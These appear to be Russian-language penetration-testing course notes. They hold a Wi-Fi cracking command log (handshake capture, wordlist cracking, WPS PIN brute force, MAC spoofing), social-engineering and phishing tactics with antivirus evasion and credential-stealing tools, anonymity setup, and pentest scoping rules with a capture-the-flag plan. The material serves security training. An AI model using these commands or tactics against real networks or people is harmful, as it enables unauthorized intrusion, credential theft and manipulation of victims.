**Команды с урока по Wi Fi**
```
iwconfig
aireplay-ng wlan1 -9
aireplay-ng wlan0 -9
iwconfig
iw dev wlan1 set type monitor
airmon-ng start wlan1
iwconfig
airodump-ng wlan1
airodump-ng wlan1 -c 5 --bssid DE:AD:BE:EF:00:01
airodump-ng wlan1 -c 5 --bssid DE:AD:BE:EF:00:01 -w hidden
ls
aircrack-ng ./hidden-01.cap
aircrack-ng ./hidden-01.cap -w /usr/share/dict/wordlist-probable.txt
wc /usr/share/dict/wordlist-probable.txt
cat hashlist.sh
./hashlist.sh ./hidden-01.cap
nano hash-hidden.txt
evil-winrm -i 192.168.88.161 -u brute
ifconfig
iwconfig
ifconfig wlan0 down
macchanger wlan0 -m D4:20:6D:CC:5E:4B
airodump-ng wlan1
airodump-ng wlan1 --essid zyl4man
airodump-ng wlan1
airodump-ng wlan1 --essid Zul4man -c 5
ls
hcxdumtool -i wlan1 -o zyl4man --enable_status=1 -c 5
hcxdumptool -i wlan1 -o zyl4man --enable_status=1 -c 5
ls
ls -lah
hcxpcaptool -z zyl.16800 ./zyl4man
cat zyl.16800
john ./zyl.16800 --wordlist=/usr/share/dict/wordlist-probable.txt
evil-winrm -i 192.168.88.161 -u brute
bettercap -iface wlan1
ls
aircrack-ng bettercap-wifi-handshakes.pcap
airodump-ng wlan1 -W
wash -i wlan1
reaver -i wlan1 -b C8:6C:87:40:A9:C9 -c 1 -K -N -vv
reaver -i wlan1 -b C8:6C:87:40:A9:C9 -c 1 -p 42377696
reaver -i wlan1 -b C8:6C:87:40:A9:C9 -c 1
apt isntall airgeddon
apt install airgeddon
./wifi.sh
iw
iw dev
clear
```
# Социальная инженерия
успешная атака - 30% сбора инфы о жертве
1 принцип - доверие / расположенность
2 принцип - последовательность
3 принцип - социальное доказательство (похожие примеры)
4 принцип - власть / авторитет
5 принцип - сходство и симпатия
6 принцип - не внушать угрозу, стараться нимекрировать подцель
7 принцип - дифицит
8 принцип - манипуляция человеческими эмоциями (страх, техника заторапливания, voice fishing, жадность, скидки, лень )
9 принцип - дверь в лицо / нога в двери (когда что то получили, можно еще получить чтото)
Есть таргетированная атака и по площади
Виды атак по фишингу
Таргетированное письмо
Макрос в ворде только с обходом антивируса (поковырять и обфусцировать)
пдф - детектится
Инфоповод всегда важен и нужен
Сначала известные факты, потом уже свое - может согласится, может нет
Cамое крутое сосласться на человека который в отпуске
Это делается для создания видимости причастности к компании/ человеку - атакующий получается менее опасен для цели
Письмо а затем звонок
**Голосовой фишинг** voicefishing
Техника: Неясная речь - скорее отделаться, отдаст то что нужно
Подделка номера
Смс фишинг
Мессенджеры
Претекстинг - общение с целью начинается с предыстории
Фишинг может содержать наживка в виде разбросанных флешек, где есть ссылки для скачивания
Взять простую флешку - и записать документ (при открытии запрашывает макрос), можно улучшить модификацию макроса
Услуга за услугу - предсттавляется ученым/ журналистом и тд и за небольшую плату получить доступ
Tail gaiting - пройти пассажиром
Стремянка )
! Не выглядеть опасным - банан (человек едящий банан и идущий по офису, со скучающим видом)
Уязвимость на сайте - злой код (скачивает обновление)
sexstorring а потом шантаж
При попытке сделать предложение - вытягивается инфа
**Инструменты**
set https://github.com/trustedsec/social-engineer-toolkit/
apt-get install sendmail





Kлонируем сайт



facebook


set arduino


https://kali.tools/?p=1435
**evilginx** кража кредов, логин пароль куки, двухфакторка]. Один из основных для фишинговой рассылки.
https://github.com/kgretzky/evilginx2
чтобы использовать - нормальбный домен, белый айпи, ныкаться за клаудфейр / amazon avs , сертификат
**gophish** комбайн написанный на языке Go


Избегаем личную переписку, так как информация сохраняется в бд гофиш
# Анонимность в сети
Как могут меня гдето чекнуть:
По мак адресу - если в локалке,
По цифровому отпечатку (какие действия и паттерны человек совершает ).
Сайты собирают мелкие кусочки инфы (отпечатки), потом уже перепродается компаниям, например для таргетированной рекламы.
Утечка ДНС.
По умолчанию - логи хранятся 6 лет!
Сlear net - обычный интернет.
https://dnsleak.com - проверка ДНС
https://www.dnsleaktest.com
Отпечаток стилистики текста - если что то постили даже анонимно - могут определить и остальные посты.
Как это избежать - с русского на англ - потом править русский (но это костыль)
**Как обеспечить анонимность**
1. Прокси сервак, который является посредником между тачкой и всеми остальными узлами. https://thesafety.us/ru/http-socks-proxy - используется для буферизации, балансировки нагрузки, раскидывает запросы на наименее занятые ноды, увеличение скорости пропускной способности, кеширование, удаление какого то контента. Неосновные задачи прокси: обход блокировок, вместе с анонимизацией польз и логирование. Бывают **HTTP proxy (прозрачные, анонимные, элите прокси - не передают реальный айпи польз,), HTTPS proxy, TMTP, imap, socks 4 tcp, socks 5** .
Откуда брать прокси:
https://github.com/FSystem88/proxer

python ./script.py
далее указываем тайм аут 1
/etc/proxychains4.conf
proxychains4 curl checkip.amazonaws.com



Есть варианты -
основательный - будет гнать весь трафик через прокси
и запустить браузер через прокси

https://t.me/proxy_bar - telegram channel with proxy
2. Аддон для firefox - mm3, foxyproxy

3. VPN
https://www.vpngate.net/en/ -для серых вещей не рекомендуется

Бесплатный VPN сервис Wireguard
на AWS
https://habr.com/ru/post/448528/
Proxy - посредник
VPN - труднее рассмотреть что внутри
https://ls.tenebris.cc/about - платный браузер для подмены отпечатков
tor - система прокси серверов, между которыми устанавливается цепочка соединений (луковая маршрутизация)


apt install tor privoxy
systemctl status tor
systemctl start tor
systemctl start privoxy.service

netstat - cмотрим какой порт слушает тор
добавляем айпи тор в foxyProxy

проверить можно

https://check.torproject.org
apt install torbrowser-launcher



!Cкачали любой файл и закинуть в Virus Total
Не передавать критично важную инфу через TOR
https://xakep.ru/2018/12/29/darknet-russia/ Путешествие по даркнету. Обходим самые злачные места .onion
https://xakep.ru/2019/01/18/i2p-russia/ Путешествие по даркнету. Что интересного можно найти в анонимной сети I2P
https://darkstack.pro/deep-web/what-is-deep-web/ - deep web
**i2p**
https://geti2p.net/ru/
https://habr.com/ru/hub/i2p/ - децентрализованность, медленная скорость. Роль адресов являются криптографические ключи.
4 уровня шифрования :
and routing packets across the internet using best-effort delivery.
Транспортный уровень:
TCP: протокол управления передачей, обеспечивает надежную, с сохранением порядка, доставку пакетов в сети
UDP: протокол пользовательских датаграмм, обеспечивает ненадежную, неупорядоченную доставку пакетов в сети
I2P Transport Layer: provide encrypted connections between 2 I2P routers. These are not anonymous yet, this is strictly a hop-to-hop connection. Two protocols are implemented to provide these capabilities. NTCP2 builds on top of TCP, while SSU uses UDP.
NTCP2: TCP на основе NIO
SSU: Secure Semi-reliable UDP
I2P Tunnel Layer: provide full encrypted tunnel connections.
Tunnel messages: tunnel messages are large messages containing encrypted I2NP (see below) messages and encrypted instructions for their delivery. The encryption is layered. The first hop will decrypt the tunnel message and read a part. Another part can still be encrypted (with another key), so it will be forwarded.
I2NP messages: сообщения I2P Network Protocol используются для прохода сообщений через несколько маршрутизаторов. Эти сообщения I2NP совмещаются с сообщениями туннелей.
I2P Garlic Layer: предоставляет зашифрованную и анонимную сквозную доставку I2P сообщений.
I2NP messages: I2P Network Protocol messages are wrapped in each other and used to ensure encryption between two tunnels and are passed along from source to destination, keeping both anonymous.
Устновка - качается java
http://www.i2p2.de/ru/download/0.9.49/clearnet/https/download.i2p2.de/i2pinstall_0.9.49.jar/download
Настройка i2p
https://habr.com/ru/post/97827/
shadowsocks https://habr.com/ru/post/555768/
https://github.com/shadowsocks
это шифрованный сетевой туннель, клиентская часть которого предоставляет доступ приложениям к сети как SOCKS-прокси, запущенный на этом же устройстве. В некотором смысле его можно использовать как VPN, потому что клиенты поддерживают прозрачное перенаправление трафика приложений в туннель.
Очень много соединений и клиентов может поддерживать пропускную способность.
Гоняет меньше технической инфы.
Для настройки можно сделать qr код и кидать клиенту.
shadowsocks + tcp tunnel - при потерях коннекта - в связке в надстройке над UDP
shadowsocks обходят китайский фаервол
# **ПЕНТЕСТ**
Все условия прописываем на бумаге и лишнего не делаем!
Если нашли что то, о чем не просили, но интересно, то предупреждаем заказчика и предлагаем провести там тестирование.
статья 272,273,274 - обязательно заключаем договор!
Указывается, рамки, сроки и методики, хранение данных.
Всегда обсуждается доступность ресурсов для теста,
Оговаривается наиболее значимые системы.
Основным результатом пентеста является Отчет / Инструкция :
краткое описание проверки,
список объектов,
методология,
результаты,
общая оценка,
перечерь замечаний с указанием оценки,
если внутрянка - то указывается весь процесс
Скриншот всегда!
whoami , host , ipconfig - вводим при взломе тачки и скриншот делаем
какие сервисы висят,
вероятная опасность (подробно описываем уязвимость)
Если не опасна, но имеет цепочку эксплуатации - указывается,
Каким патчем закрыть,
и обязательно - как уязвимость закрыта!
Работа с заказчиком:
Не навреди.
Не выходи за скоуп без согласования.
Действуй в интересах заказчика.
# **Финальный проект**
юзерский флаг - лежит в глубинах юзерской директории - обязяталеньный
можно получить рутовый флаг
План такой:
1. Сканируем порты.
2. Ищем уязвимости.
3. Применяем уязвимости.
4. Попадаем на тачку.
5. Ищем флаг по HackerU. (в текстовом файлике - "user.txt")
6. Повышаемся до админа.
7. Ищем флаг по HackerU
8. Пишем инструкцию по шагам
# Список рекомендованных материалов для самостоятельного изучения
X0. Killchain
https://hackmd.io/@ka0na5hi/SkOAvMpzu
Ресурсы для тренировки
https://hackmd.io/@ka0na5hi/H1npooTBO
1 lesson
PTES
http://www.pentest-standard.org/index.php/Main_Page
OSSTMM
https://www.isecom.org/OSSTMM.3.pdf
Mitre ATT&CK
https://attack.mitre.org/
Статья про матрицу ATT&CK
https://xakep.ru/2021/03/17/mitre-att-ck/
2 lesson
Большой список инструментов обязательных к изучению
https://github.com/jivoi/awesome-osint
3 lesson
Бесплатный обучающий ресурс WebSecurityAcademy
https://portswigger.net/web-security
4 lesson
Уязвимые виртуальные машины - VulnHub
https://www.vulnhub.com/
6 lesson
Wireshark. Расшифровка трафика ssl/tls
https://itsecforu.ru/2019/06/19/🕵%EF%B8%8F-расшифровка-трафика-ssl-tls-с-помощью-wireshar/
Руководство по расшифровке ssl
https://heritage-offshore.com/net-admin/rukovodstvo-po-rasshifrovke-ssl-kak-rasshifrovat/
7 lesson
Как в Wireshark расшифровать Wi-Fi трафик
https://hackware.ru/?p=7524
MitM и DOS атаки на домены с использованием дублирующих сертификатов
https://www.kaspersky.ru/blog/residual-certificates-mitm-dos/21202/
8 lesson
Ссылка на скачивание pdf мануала по SET
https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf
Гид по GoPhish на )(aker.ru
https://xakep.ru/2016/12/07/gophish-phishing-framework-howto/
Гид по Evilginx2 на )(aker.ru
https://xakep.ru/2019/10/28/evilginx-phishing/
Инструкция по использованию HTTrack
https://hackware.ru/?p=3151
lesson 9
Как работает Tor
https://habr.com/ru/post/357128/
Настройка I2P
https://habr.com/ru/post/97827/
Размещение сайта в I2P
https://habr.com/ru/post/276131/
Хорошая статья про прокси
https://thesafety.us/ru/http-socks-proxy
https://www.youtube.com/watch?v=VvGbAC9o_ug&t=3s
https://www.youtube.com/watch?v=GQJ6nOwc0y4
https://www.youtube.com/watch?v=8IJxO44kq24&t=1s
https://www.youtube.com/watch?time_continue=3&v=LZIpsq1YyBg&feature=emb_title